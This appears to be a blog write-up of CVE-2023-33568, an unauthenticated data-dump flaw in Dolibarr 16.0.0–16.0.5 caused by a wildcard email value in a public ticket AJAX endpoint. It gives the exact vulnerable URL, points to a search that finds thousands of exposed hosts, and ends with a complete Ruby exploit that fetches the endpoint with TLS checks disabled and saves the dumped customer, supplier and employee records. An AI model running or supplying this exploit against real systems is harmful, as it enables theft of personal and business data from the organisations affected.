CVE-2023-33568
Dolibarr 16.0.0 to 16.0.5 unauthenticated DB access
"An issue in Dolibarr v16.0.0 to v16.0.5 allows unauthenticated attackers to perform a database dump and access a company's entire customer file, prospects, suppliers, and employee information if a contact file exists." -github.com Dolibarr is a modern software package to manage companies or foundation's activities. Dolibarr improves SQL protections in his product. But looking at the source code on github, specifically in the public function searchContactByEmail we can see something suspicious:Can you see it? Yes, the "LIKE" operator! Using the sql special character "%" we can dump the whole database (if a contact file exists, of course). So, going back to the URL we could see that the vulnerable URL path and query string is: /public/ticket/ajax/ajax.php?action=getContacts&email=% Reference: dsecbypass.com[*] dolibar_code.png
[*] dolibar.png
Looking for vulnerable targets
Affected product versions are from 16.0.0 to 16.0.5, so it's easy searching vulnerable targets. With this FOFA query we can see more than 9000 vulnerable hosts.[*] fofa_results.png
Exploit code
To automate this, i wrote this exploit in ruby
require 'http' require 'openssl' puts """ CVE-2023-33568 Dolibarr 16.0.0 to 16.0.5 unauthenticated DB access exploit By komodo\n """ $cont=1 $dirname="Dolibarr_dump" def dir(name=$dirname) begin Dir.mkdir(name) Dir.chdir(name) rescue Errno::EEXIST $cont+=1 dir("#{$dirname}-#{$cont}") end end def main(url) url.delete_suffix!("/") unless url[-1..-1] != "/" @ctx = OpenSSL::SSL::SSLContext.new() @ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE r=HTTP.get("#{url}/public/ticket/ajax/ajax.php?action=getContacts&email=%",:ssl_context=>@ctx) if r.body.to_s[0..0xc]=='{"contacts":['&&r.body.to_s[0xd]!="]" dir() File.open("!target.txt", "w"){|f|f.write(url)} File.new("db_dump.json","w").write(r.body) puts "Database dump saved on '#{Dir.pwd.split("/")[-1]}/db_dump.json' file." else puts "Not vulnerable! :(\n" end end begin print "Base URL: " main(gets.chomp) rescue => e abort(e.to_s) end